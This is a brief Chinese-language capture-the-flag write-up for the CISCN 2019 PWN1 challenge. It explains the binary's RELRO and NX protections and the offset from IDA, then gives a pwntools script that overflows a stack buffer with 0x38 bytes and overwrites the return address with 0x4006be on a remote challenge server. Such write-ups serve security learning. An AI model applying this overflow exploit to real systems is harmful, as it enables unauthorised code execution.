[CISCN 2019华北]PWN1-好久不见7

Partial RELRO 表示部分 RELRO 保护已启用。在这种情况下，只有某些部分（如 GOT 中的只读部分）是只读的。

NX enabled 表示这个二进制文件启用了 NX 保护，数据段是不可执行的。这可以防止某些类型的代码注入攻击。

这里是ida识别出来的v1距离rbp的长度是0x30，然后程序是64位的需要距离返回地址还差8字节

from pwn import *
 
p = remote("node7.anna.nssctf.cn",20692)
 
payload = b"a" * 0x38 + p64(0x4006be)
 
p.sendline(payload)
 
p.interactive()